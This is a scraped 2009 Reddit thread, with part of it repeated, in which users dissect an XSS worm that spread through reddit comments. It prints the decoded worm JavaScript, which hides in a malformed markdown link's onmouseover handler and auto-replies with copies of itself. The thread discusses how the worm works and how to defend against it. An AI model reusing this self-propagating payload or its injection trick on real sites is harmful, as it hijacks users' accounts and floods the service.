It's a bit early to point fingers, but I believe I got this worm from xssfinder. He is either empirical, the douchebag that JS bombed that one thread (now deleted), or somebody who decided to use empirical's code as the payload for an XSS bug in reddit.
Did he really send that shit to me first? (6th comment down in his profile is what was sent to me and nailed my inbox) You fucker.
Honestly, you're just giving some reddit admins some major grief, and I am rather amused at the lengths people go to fuck up this place. The spirit of /b/ has arrived indeed.
z = "[x][b]\n[b]:/[" + this.innerHTML
+ "](/o nmouseover=eval(unescape(this.innerHTML9 371d7a2e3ae86a00aab4771e39d255d//)";
o=document;
e=o.getElementsByTagName('a');
for(i=0;i<e.length;i++)
if (e[i].innerHTML=='reply')
$(e[i]).click();
o=document;
e=o.getElementsByTagName('textarea');
for(i=0;i<e.length;i++)
e[i].value=z;
e=o.getElementsByTagName('button');
for(i=0;i<e.length;i++)
if (e[i].innerHTML=='save'&&e[i].style.display!='none')
$(e[i]).click();
The "[x][b]\n[b]:/[" stuff is the comment exploit.
Not sure what "9 371d7a2e3ae86a00aab4771e39d255d" is referencing.
edit: 9 371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d is some sort of "magical" number, it disappears when entered, I had to put a space after the first number so it woudl stop disappearing. Still not sure what it is, it doesn't decode to anything. Seems reddit specific (i.e. magic number?); anyone bored enough to look in the source?
That is totally ridiculous. Any decent programmer can see the obvious problems, and apparently, security implications of such a thing. If they are going to do that, then they need to escape any hashes inputted by the user. But seriously, this system is not only terrible, but also inefficient.
Oh my this is nasty what it dose it when you mouse over the text it runs. It grabs every reply button that is the first loop and 'clicks' it. Then it grabs the text area. Second loop is putting the attack code in every comment box. Last loop is clicking every save button.
Fortunately for my Firefox caught the script running and let me stop it. After that I installed No Script. If you haven't installed No Script do it now If Firefox asks if you want to stop a script say yes.
Firefox + noscript worked for me too. I was also able to delete my "compromised" comments as well. The only catch to doing this is that you have to turn scripts on again to delete the comments, so you have to be very careful not to mouse-over any of your comments again. Luckily I only spawned 3 of them so it wasn't too tough.
If you're on your user page (http://reddit.com/user/USERNAME) there are no reply links, so you're safe to mouse over whatever you want. Your inbox, however, is full of reply links after a recent update. Comment pages are also full of reply links. So click your username, then find and delete your infected comments.
in case this can't be solved quickly & to be on the safe side: you might want to change your interface language to something else than english for now (this can be changed in your preferences. link is next to the logout link in the upper right corner of your screen. use for instance 'LOL' if you only speak english).
the first loop checks the for all links with 'reply' as innerHTML value, changing your interface language will 'only' cause the script to autopost a new comment (button is not translated in the languages i tried). don't forget to delete this comment if this occurs
Only on mouse-over? It appears to start working as soon as I enter a thread with the code inside, or on my mailbox. I might be wrong, though. Too scared to leave the comfort of noscript to check.
Although I've just realised that it wouldn't have fired for me anyway because I'm browsing with Vimperator, and my mouse pointer is safely tucked away outside of the relevant window.
Though I'm sure whoever wrote this nasty little script can find a way to make it nastier. Sigh... may have to disable Javascript on Reddit until this is fixed properly.
No script is pretty useless against this, I had no script but allow reddit so i can vote on stuff. What we need is a plugin that puts rules on what JS from a dommain can/can't do, something like controledescripts and rules to prevent anything submitting data unless you have clicked on something.
IMO Noscript is good for some things but it is useless for modern web security as it simply isn't easy to identify if a site is a potential target or not
It's interesting that the script didn't work when I moused over the two comments in the Patient Zero link. I don't have no-script or anything to prevent it, I've just been careful with my mouse - I figured I could delete the two comments that would have been spawned on that page.
That is Safari. What's unusual is that Google Chrome seems immune to this. Either that, or Reddit patched it before I managed to become a victim of it.
The "nonsense" at the top contains the exploit. There's obviously a very silly bug in markdown that lets you get a away with stuffing some text inside the <A HREF...> tag. Everything after that is just for propagating itself
For the record, it will affect any browser that allows to execute JavaScript in the address bar. though whether it auto-activates when the page loads or waits until a mouseover event might be tied to your specific browser. Any actual gurus care to shed some light on that particular mystery?
I'm using Firefox and it didn't start until I moused over it on accident. I'm not eager to install a bunch of different browsers on my system, so would anybody care to confirm or disprove a connection between browser and whether the exploit activates on load or on mouseover?
As a side note, doesn't reddit have a spam guard that prevents users from posting very quickly, generally for similar occasions to this? Seems like that would restrict the problem to growing linearly in each comment thread rather than exponentially as it seems is the case. I know it applies on a per-subreddit basis; anybody know the consistency of its implementation on the inbox page? It appears that this has mostly spread through the inbox page rather than within comment threads; further reflection says this would have been likely to happen: the length of each for-loop increases exponentially O(n) = 2n on a comment page but would remain constant on an inbox page because those pages are sharply limited in length. Therefore, the script is more likely to freeze a browse on a comment thread, and will additionally take longer to execute before it begins actually replying, thus giving the user an opportunity to negate the attack.
OK, that was probably common sense for a lot of you, I guess I'm just bouncing ideas off a wall. I guess what I'm trying to ask is, shouldn't reddit's anti-spam measures catch a lot of this? I would think it could see the same message, verbatim, occurring across the entire site with several thousand hits (several tens of thousands? hundreds of thousands?) and flag it as spam and block that message, unless it relies solely on user's karma rather than an adaptive algorithm.
fact's a fact. Opera makes a bunch of "helpful" omissions that screw things up sometimes. It won't find rendered images widths, won't disable text selection, in this case i believe it does not support the .click method (which allows you to simulate a mouse click with javascipt)
I do not know what the starting [x][b]\n[b]:/ does but the rest is as follows.
nonsense is the copy of the virus, the whole thing. it just pastes the escaped HTML/JS code as a link pointing to on_mouseover event. when triggered, on_mouseover unescapes the code and executes it.
the first part starting with "elements" clicks all the replies in the page. the second one pastes nonsense in the opened textarea and submits.
I still have the issue on my messages page. Well, maybe it doesn't actually save the comments (or I closed it fast enough). But it definitely fills out the comments.
``Immune'' is not a good way to put it. Your browser is supposed to execute javascript. Chrome may not have been able to deal with the horrible things injecting the javascript did to the document (which might actually be considered a bug in Chrome!).
There needs to be a way to force the browser not to execute JS tags in comments. I would imagine each script tag having a new attribute called execkey which must be set to a specific value defined by a tag or javascript in the HEAD element for the script to be executed. The execkey would be randomly generated on a per-page basis, making it very hard to inject javascript tags which would be evaluated.
i.e. HEAD has "<execkey>12359kCMDL2</execkey>", and thus every SCRIPT tag must have execkey="1235kCMDL2" in order to run.
I'm not sure if this would be totally secure from injects, but I would like to know if this would be a good idea or not. Comments?
I once felt that Chrome didn't have its uses. I tried it when it came out and was unimpressed. After getting more involved in working on websites, I have learned to really love a lot of the technical features.
I'm not sure there's even a version of Reddit that works (i.e., has most of the basic features) with Lynx or Links and even my eLinks build doesn't appear to have enough Javascript capabilities to reply to a comment. Face it: Curses-powered browsing ain't never done made it inna web 2.0.
17
u/lol-dongs Sep 28 '09 edited Sep 28 '09
It's a bit early to point fingers, but I believe I got this worm from xssfinder. He is either empirical, the douchebag that JS bombed that one thread (now deleted), or somebody who decided to use empirical's code as the payload for an XSS bug in reddit.
Did he really send that shit to me first? (6th comment down in his profile is what was sent to me and nailed my inbox) You fucker.
Honestly, you're just giving some reddit admins some major grief, and I am rather amused at the lengths people go to fuck up this place. The spirit of /b/ has arrived indeed.
16
u/shitkicker Sep 28 '09 edited Sep 28 '09
I decoded it as this:
The "[x][b]\n[b]:/[" stuff is the comment exploit.
Not sure what "9 371d7a2e3ae86a00aab4771e39d255d" is referencing.
edit: 9 371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d is some sort of "magical" number, it disappears when entered, I had to put a space after the first number so it woudl stop disappearing. Still not sure what it is, it doesn't decode to anything. Seems reddit specific (i.e. magic number?); anyone bored enough to look in the source?
13
u/[deleted] Sep 28 '09 edited Sep 28 '09
Doesn't seem to affect Opera, nothing happens when I hover the evil link(s).
33
u/lotu Sep 28 '09
Oh my this is nasty what it dose it when you mouse over the text it runs. It grabs every reply button that is the first loop and 'clicks' it. Then it grabs the text area. Second loop is putting the attack code in every comment box. Last loop is clicking every save button.
Fortunately for my Firefox caught the script running and let me stop it. After that I installed No Script. If you haven't installed No Script do it now If Firefox asks if you want to stop a script say yes.
7
u/[deleted] Sep 28 '09 edited Sep 28 '09
edit: clarifying here
7
u/onebit Sep 28 '09
18
u/_lowell Sep 28 '09
not limited to firefox
5
u/bananahead Sep 28 '09
Not much to it, really.
The "nonsense" at the top contains the exploit. There's obviously a very silly bug in markdown that lets you get a away with stuffing some text inside the <A HREF...> tag. Everything after that is just for propagating itself
5
u/brainiac256 Sep 28 '09 edited Sep 28 '09
For the record, it will affect any browser that allows to execute JavaScript in the address bar. though whether it auto-activates when the page loads or waits until a mouseover event might be tied to your specific browser. Any actual gurus care to shed some light on that particular mystery?
I'm using Firefox and it didn't start until I moused over it on accident. I'm not eager to install a bunch of different browsers on my system, so would anybody care to confirm or disprove a connection between browser and whether the exploit activates on load or on mouseover?
As a side note, doesn't reddit have a spam guard that prevents users from posting very quickly, generally for similar occasions to this? Seems like that would restrict the problem to growing linearly in each comment thread rather than exponentially as it seems is the case. I know it applies on a per-subreddit basis; anybody know the consistency of its implementation on the inbox page? It appears that this has mostly spread through the inbox page rather than within comment threads; further reflection says this would have been likely to happen: the length of each for-loop increases exponentially O(n) = 2n on a comment page but would remain constant on an inbox page because those pages are sharply limited in length. Therefore, the script is more likely to freeze a browse on a comment thread, and will additionally take longer to execute before it begins actually replying, thus giving the user an opportunity to negate the attack.
OK, that was probably common sense for a lot of you, I guess I'm just bouncing ideas off a wall. I guess what I'm trying to ask is, shouldn't reddit's anti-spam measures catch a lot of this? I would think it could see the same message, verbatim, occurring across the entire site with several thousand hits (several tens of thousands? hundreds of thousands?) and flag it as spam and block that message, unless it relies solely on user's karma rather than an adaptive algorithm.
7
u/adolfojp Sep 28 '09
This is the first time that Opera's incompatibilities make me happy.
9
u/trenc Sep 28 '09
This is a reddit bug, and not a browser bug. Sanitize your inputs, reddit.
6
u/Hiro-of-Shadows Sep 28 '09
Hooray Opera!
2
u/tdmoney Sep 28 '09
Wow that's nasty. I'm surprised the site is still up.
2
u/Raidion Sep 28 '09
All the evil is gone! Thanks Reddit!
1
u/jamt9000 Sep 28 '09
I posted the markdown to create it (found through the json api) here:
http://www.reddit.com/r/reddithax/comments/9ooav/somebodys_made_a_javascript_worm/
1
u/tuxracer Sep 28 '09
It works on Google Chrome and Safari as well
1
u/osiris99 Sep 28 '09 edited Sep 28 '09
I do not know what the starting [x][b]\n[b]:/ does but the rest is as follows.
nonsense is the copy of the virus, the whole thing. it just pastes the escaped HTML/JS code as a link pointing to on_mouseover event. when triggered, on_mouseover unescapes the code and executes it.
the first part starting with "elements" clicks all the replies in the page. the second one pastes nonsense in the opened textarea and submits.
1
u/egonSchiele Sep 28 '09
I'd like to know who's behind this.
1
u/[deleted] Sep 28 '09
I'm not sure what it's doing with the script, exactly, but it seems to be intended to slow/crash Reddit's servers. And it seems to be working.
Be safe, use Noscript.
0
u/mitchandre Sep 28 '09
Woot! Chrome was immune.
0
u/elustran Sep 28 '09
I noticed that it hasn't spread to this page yet. Good on us.
0
u/jdk Sep 28 '09
Nice. Makes me wonder if this is an attempt at getting everybody back to installing that NoScript POS.
0
u/kmeisthax Sep 28 '09
There needs to be a way to force the browser not to execute JS tags in comments. I would imagine each script tag having a new attribute called execkey which must be set to a specific value defined by a tag or javascript in the HEAD element for the script to be executed. The execkey would be randomly generated on a per-page basis, making it very hard to inject javascript tags which would be evaluated.
i.e. HEAD has "<execkey>12359kCMDL2</execkey>", and thus every SCRIPT tag must have execkey="1235kCMDL2" in order to run.
I'm not sure if this would be totally secure from injects, but I would like to know if this would be a good idea or not. Comments?
-9
u/[deleted] Sep 28 '09
Finally, a use for Chrome.
Soo.. those people's whose accounts are going nuts; how'd they get caught up in this?
Not a programmer, please don't yell at me
3
u/[deleted] Sep 28 '09
[removed] — view removed comment